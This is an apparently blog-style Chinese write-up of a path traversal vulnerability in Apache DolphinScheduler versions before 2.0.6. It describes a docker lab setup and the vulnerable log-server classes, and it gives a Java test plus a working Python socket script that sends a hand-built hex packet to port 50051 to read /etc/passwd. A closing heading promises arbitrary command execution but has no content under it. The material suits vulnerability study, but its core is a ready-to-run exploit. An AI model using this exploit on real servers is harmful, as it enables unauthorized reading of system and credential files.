漏洞简介
Apache DolphinScheduler是美国阿帕奇(Apache)基金会的一个分布式的基于DAG可视化的工作流任务调度系统。
Apache DolphinScheduler 2.0.6之前版本存在路径遍历漏洞,该漏洞源于用户可以通过日志服务器读取任何文件。


环境搭建
还是利用 docker 来进行环境的搭建操作
https://dolphinscheduler.apache.org/en-us/docs/2.0.5/guide/installation/docker

修改一下 docker-compose.yml 文件 使得 50051 端口也映射出来

我们看到其中数据库连接的字符串可控

<mysql.connector.version>8.0.16</mysql.connector.version>
<postgresql.version>42.2.5</postgresql.version> 恰好不在pgjdbc漏洞范围内
漏洞分析

https://github.com/apache/dolphinscheduler/commit/adc223465b5b83a9446dfc809ae98cf4bbfaadce


通过对比查看修复代码 我们可以定位到漏洞可能存在的位置
org.apache.dolphinscheduler.server.log.LoggerRequestProcessor#process

根据传入的 command 的 type 对应不同的操作
org.apache.dolphinscheduler.common.utils.LoggerUtils#readWholeFileContent

所以目前的问题就是要想办法触发 LoggerRequestProcessor.process

org.apache.dolphinscheduler.remote.processor.NettyRequestProcessor


public void testRollViewLog() throws IOException {
logClientService = new LogClientService();
String resultTmpDemoString = logClientService.rollViewLog(
"192.168.184.1", Constants.RPC_PORT,"/tmp/../../../../../etc/passwd", 0, 1000);
System.out.println(resultTmpDemoString);
}

org/apache/dolphinscheduler/service/log/LogClientService.java
日志文件的客户端方法



构造 python 方法实现
import socket
import binascii
client = socket.socket()
client.connect(('192.168.184.1',50051))
path_data = '''{"path":"/tmp/../../../../../etc/passwd"}'''
path_data_hex=path_data.encode().hex()
data = '''be000400000000000000010000000c7b226974656d73223a7b7d7d00000029'''+path_data_hex
client.send(binascii.a2b_hex(data))
data_recv = client.recv(1024)
reaponse=binascii.b2a_hex(data_recv).decode("utf-8")
reaponse_data = bytes.fromhex(reaponse).decode('utf-8','ignore')
print(reaponse_data)

后台任意命令执行




